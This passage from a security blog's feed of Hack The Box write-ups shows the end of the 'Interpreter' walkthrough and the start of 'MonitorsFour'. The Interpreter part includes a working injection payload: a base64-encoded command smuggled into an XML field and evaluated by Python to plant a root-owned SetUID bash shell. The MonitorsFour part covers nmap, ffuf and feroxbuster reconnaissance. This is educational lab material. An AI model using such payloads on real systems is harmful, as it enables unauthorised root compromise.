<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">sedric@interpreter:~$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf'</span> | <span class="nb">base64</span> <span class="nt">-w0</span>
<span class="go">Y3AgL2Jpbi9iYXNoIC90bXAvMHhkZjsgY2hvd24gcm9vdDpyb290IC90bXAvMHhkZjsgY2htb2QgNjc3NyAvdG1wLzB4ZGYK
</span></code></pre></div></div>

<p>It runs:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321/addPatient <span class="nt">-H</span> <span class="s1">'Content-Type: whatever'</span> <span class="nt">-d</span> <span class="s1">'&lt;patient&gt;&lt;firstname&gt;first&lt;/firstname&gt;&lt;lastname&gt;last&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;1234&lt;/timestamp&gt;&lt;birth_date&gt;01/01/2000&lt;/birth_date&gt;&lt;gender&gt;{__import__("os").popen(__import__("base64").b64decode("Y3AgL2Jpbi9iYXNoIC90bXAvMHhkZjsgY2hvd24gcm9vdDpyb290IC90bXAvMHhkZjsgY2htb2QgNjc3NyAvdG1wLzB4ZGYK").decode()).read()}&lt;/gender&gt;&lt;/patient&gt;'</span>
<span class="go">Patient first last (), 26 years old, received from app at 1234
</span></code></pre></div></div>

<p>And there’s a root-owned SetUID file at <code class="language-plaintext highlighter-rouge">/tmp/0xdf</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">sedric@interpreter:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /tmp/0xdf 
<span class="go">-rwsrwsrwx 1 root root 1265648 May 26 06:18 /tmp/0xdf
</span></code></pre></div></div>

<p>I’ll run with <code class="language-plaintext highlighter-rouge">-p</code> to not drop privs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">sedric@interpreter:~$</span><span class="w"> </span>/tmp/0xdf <span class="nt">-p</span>
<span class="gp">0xdf-5.2#</span><span class="w">
</span></code></pre></div></div>

<p>And grab <code class="language-plaintext highlighter-rouge">root.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">0xdf-5.2# </span><span class="nb">cat </span>root.txt
<span class="go">52c2a42c************************
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-interpreter" /><category term="pentest" /><category term="bug-bounty" /><category term="ctf" /><category term="hackthebox" /><category term="htb-interpreter" /><category term="nmap" /><category term="debian" /><category term="mirth-connect" /><category term="jnlp" /><category term="install4j-sfx" /><category term="swagger" /><category term="jetty" /><category term="java" /><category term="hl7-v2-mllp" /><category term="cve-2023-37679" /><category term="cve-2023-43208" /><category term="deserialization" /><category term="java-deserialization" /><category term="xml" /><category term="mariadb" /><category term="sql" /><category term="hashcat" /><category term="mirth-hash" /><category term="pbkdf2" /><category term="password-reuse" /><category term="template-injection" /><category term="python" /><category term="flask" /><category term="python-eval" /><category term="setuid" /><summary type="html"><![CDATA[Interpreter is a Linux box hosting Mirth Connect, a Java-based healthcare integration engine. I’ll exploit an unauthenticated XStream deserialization vulnerability in the Mirth API to get remote code execution and a foothold as the mirth service account. From the Mirth config I’ll grab database credentials, dump a user password hash from MariaDB, and crack it to pivot to the next user. For root, I’ll abuse a localhost Flask notification server that wraps XML-supplied fields in an evaluated f-string, allowing Python code execution as root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/interpreter-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/interpreter-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: MonitorsFour</title><link href="https://0xdf.gitlab.io/2026/05/23/htb-monitorsfour.html" rel="alternate" type="text/html" title="HTB: MonitorsFour" /><published>2026-05-23T13:45:00+00:00</published><updated>2026-05-23T13:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/05/23/htb-monitorsfour</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/05/23/htb-monitorsfour.html"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/monitorsfour-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/monitorsfour-cover.png" alt="MonitorsFour" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>MonitorsFour continues the Monitors series, this time on a Windows host. A company website exposes an authenticated API endpoint that returns every employee’s record. I’ll bypass auth with a PHP type juggling flaw to dump a collection of crackable password hashes. Those credentials open a Cacti instance, where I’ll exploit CVE-2025-24367 to inject commands into rrdtool and drop a webshell, landing in a Docker container. Enumeration shows the host is running Docker Desktop on a WSL2 backend, and that the container can reach the Docker Engine API directly (CVE-2025-9074). I’ll create a new container that mounts the Windows host’s drive and read the root flag. In Beyond Root, I’ll turn that filesystem access into a shell on Windows through a scheduled task, and break down the PHP type juggling bug.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/814 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/monitorsfour" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-monitorsfour.webp" />
          <img src="/icons/box-monitorsfour.png" alt="MonitorsFour" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/monitorsfour" target="_blank" class="htb-box-name">MonitorsFour</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Easy">
      Easy
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1996587829837582609">06 Dec 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">23 May 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Windows.webp" /><img src="/icons/Windows.png" alt="Windows" /></picture>
          Windows
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/monitorsfour-diff.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/monitorsfour-diff.png" alt="Rated difficulty for MonitorsFour" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/monitorsfour-radar.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/monitorsfour-radar.png" alt="Radar chart for MonitorsFour" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:22:28</span></span><a href="https://app.hackthebox.com/users/1893875" target="_blank" rel="noopener"><img alt="ahos6" src="https://www.hackthebox.com/badge/image/1893875" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> ahos6</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:49:29</span></span><a href="https://app.hackthebox.com/users/634163" target="_blank" rel="noopener"><img alt="l1nvx" src="https://www.hackthebox.com/badge/image/634163" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> l1nvx</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creators</span>
        
<a href="https://app.hackthebox.com/users/114053" target="_blank" rel="noopener"><img alt="TheCyberGeek" src="https://www.hackthebox.com/badge/image/114053" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> TheCyberGeek</span></a><br />
<a href="https://app.hackthebox.com/users/389926" target="_blank" rel="noopener"><img alt="kavigihan" src="https://www.hackthebox.com/badge/image/389926" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> kavigihan</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds two open TCP ports, HTTP (80) and WinRM (5985):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span> 10000 <span class="nt">--reason</span> monitorsfour.htb
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-19 20:21 UTC
Nmap scan report for monitorsfour.htb (10.129.67.15)
Host is up, received echo-reply ttl 127 (0.021s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON
80/tcp   open  http    syn-ack ttl 127
5985/tcp open  wsman   syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 80,5985 <span class="nt">-sCV</span> 10.129.67.15
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-15 20:26 UTC
Nmap scan report for 10.129.67.15
Host is up (0.020s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.67 seconds
</span></code></pre></div></div>

<p>It’s a Windows host, where the HTTP server is Nginx.</p>

<p>Both ports show a TTL of 127, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Windows one hop away.</p>

<p><code class="language-plaintext highlighter-rouge">netexec</code> is able to give a domain and hostname over WinRM:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec winrm 10.129.67.15
<span class="netexec-protocol">WINRM </span><span class="go">      10.129.67.15    5985   MONITORSFOUR     </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:MONITORSFOUR) (domain:MonitorsFour) 
</span></code></pre></div></div>

<p>The lack of a <code class="language-plaintext highlighter-rouge">.</code> in the domain and the same string showing up for both name and domain suggests this is just a workstation rather than a domain-joined host.</p>

<h3 id="subdomain-fuzz---tcp-80">Subdomain Fuzz - TCP 80</h3>

<p>Given the use of domain name / host-based routing, I’ll use <code class="language-plaintext highlighter-rouge">ffuf</code> to bruteforce for subdomains that respond differently:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> http://10.129.67.15 <span class="nt">-H</span> <span class="s1">'Host: FUZZ.monitorsfour.htb'</span> <span class="nt">-w</span> /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt <span class="nt">-ac</span>
<span class="go">
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.67.15
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.monitorsfour.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 50ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1408 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
</span></code></pre></div></div>

<p>It finds one, <code class="language-plaintext highlighter-rouge">cacti</code>. I’ll add both the base domain and the subdomain to my local <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">head</span> <span class="nt">-1</span> /etc/hosts
<span class="go">10.129.67.15 monitorsfour.htb cacti.monitorsfour.htb
</span></code></pre></div></div>

<p>I’ll scan the webserver for both hosts with <code class="language-plaintext highlighter-rouge">nmap</code> and scripts again, but not find anything noteworthy.</p>

<h3 id="monitorsfourhtb---tcp-80">monitorsfour.htb - TCP 80</h3>

<h4 id="site">Site</h4>

<p>The site is for a networking solutions and infrastructure company:</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515163510999.webp" />
        <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515163510999.png" alt="image-20260515163510999" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>All of the links on the site except for the Login button go to anchors on the page. There’s an email address in the footer, <code class="language-plaintext highlighter-rouge">sales@monitorsfour.htb</code>.</p>

<p>The login page offers a form:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515163812497.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515163812497.png" alt="image-20260515163812497" class="include_image " />
</picture>

<p>There’s no registration, but there is a “Forgot password?” link. It asks for an email:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515163838688.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515163838688.png" alt="image-20260515163838688" class="include_image " />
</picture>

<p>Visually, this is the same login page as <a href="/2025/01/18/htb-monitorsthree.html#site">HTB MonitorsThree</a>, except this time I can’t use this to enumerate users, as it always just says “if that email exists…”:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515163859697.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515163859697.png" alt="image-20260515163859697" class="include_image " />
</picture>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers show that the page is running Nginx and PHP:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Fri, 15 May 2026 20:34:26 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">PHP/8.3.27</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=67be9cf29c9afe53e95953179bbe183a; path=/</span>
<span class="na">Expires</span><span class="p">:</span> <span class="s">Thu, 19 Nov 1981 08:52:00 GMT</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-store, no-cache, must-revalidate</span>
<span class="na">Pragma</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">13688</span>
</code></pre></div></div>

<p>Trying to load <code class="language-plaintext highlighter-rouge">index.php</code> or <code class="language-plaintext highlighter-rouge">index.html</code> both return an empty 404 response:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">404</span> <span class="ne">Not Found</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Fri, 15 May 2026 20:39:58 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">PHP/8.3.27</span>
<span class="na">Expires</span><span class="p">:</span> <span class="s">Thu, 19 Nov 1981 08:52:00 GMT</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-store, no-cache, must-revalidate</span>
<span class="na">Pragma</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">0</span>
</code></pre></div></div>

<p>In Firefox, this loads the Firefox default 404 page:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515164033133.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515164033133.png" alt="image-20260515164033133" class="include_image " />
</picture>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">feroxbuster</code> against the site:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://monitorsfour.htb <span class="nt">--dont-extract-links</span>
<span class="go">
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://monitorsfour.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET        0l        0w        0c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-red">403</span><span class="go">      GET        7l        9w      146c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET      338l      982w    13688c http://monitorsfour.htb/
</span><span class="feroxbuster-green">200</span><span class="go">      GET        1l        3w       35c http://monitorsfour.htb/user
</span><span class="feroxbuster-green">200</span><span class="go">      GET        4l       35w      367c http://monitorsfour.htb/contact
</span><span class="feroxbuster-green">200</span><span class="go">      GET       96l      239w     4340c http://monitorsfour.htb/login
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/admin =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/admin/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/js =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/js/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/css =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/css/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/images =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/images/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/images/blog =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/images/blog/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/admin/assets/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/js =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/admin/assets/js/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/css =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/admin/assets/css/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/images =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/admin/assets/images/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/views =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/views/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/fonts =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/fonts/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/images/services =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/images/services/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/views/admin =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/views/admin/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/swf =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/admin/assets/swf/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/controllers =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/controllers/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       84l      212w     3099c http://monitorsfour.htb/forgot-password
</span><span class="feroxbuster-green">200</span><span class="go">      GET      306l      960w    11647c http://monitorsfour.htb/static/css/css2
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/locales =&gt; </span><span class="feroxbuster-yellow">http://monitorsfour.htb/static/admin/assets/locales/</span><span class="go">
[</span><span class="feroxbuster-yellow">##</span><span class="go">&gt;-----------------] - 5m     46079/390000  55m     </span><span class="feroxbuster-green">found</span><span class="go">:23      </span><span class="feroxbuster-red">errors</span><span class="go">:5430
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_monitorsfour_htb-1778878141.state ...
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m     46079/390000  55m     </span><span class="feroxbuster-green">found</span><span class="go">:23      </span><span class="feroxbuster-red">errors</span><span class="go">:5430
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      4039/30000   13/s    http://monitorsfour.htb/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3721/30000   12/s    http://monitorsfour.htb/static/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3625/30000   12/s    http://monitorsfour.htb/static/admin/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3637/30000   12/s    http://monitorsfour.htb/static/js/
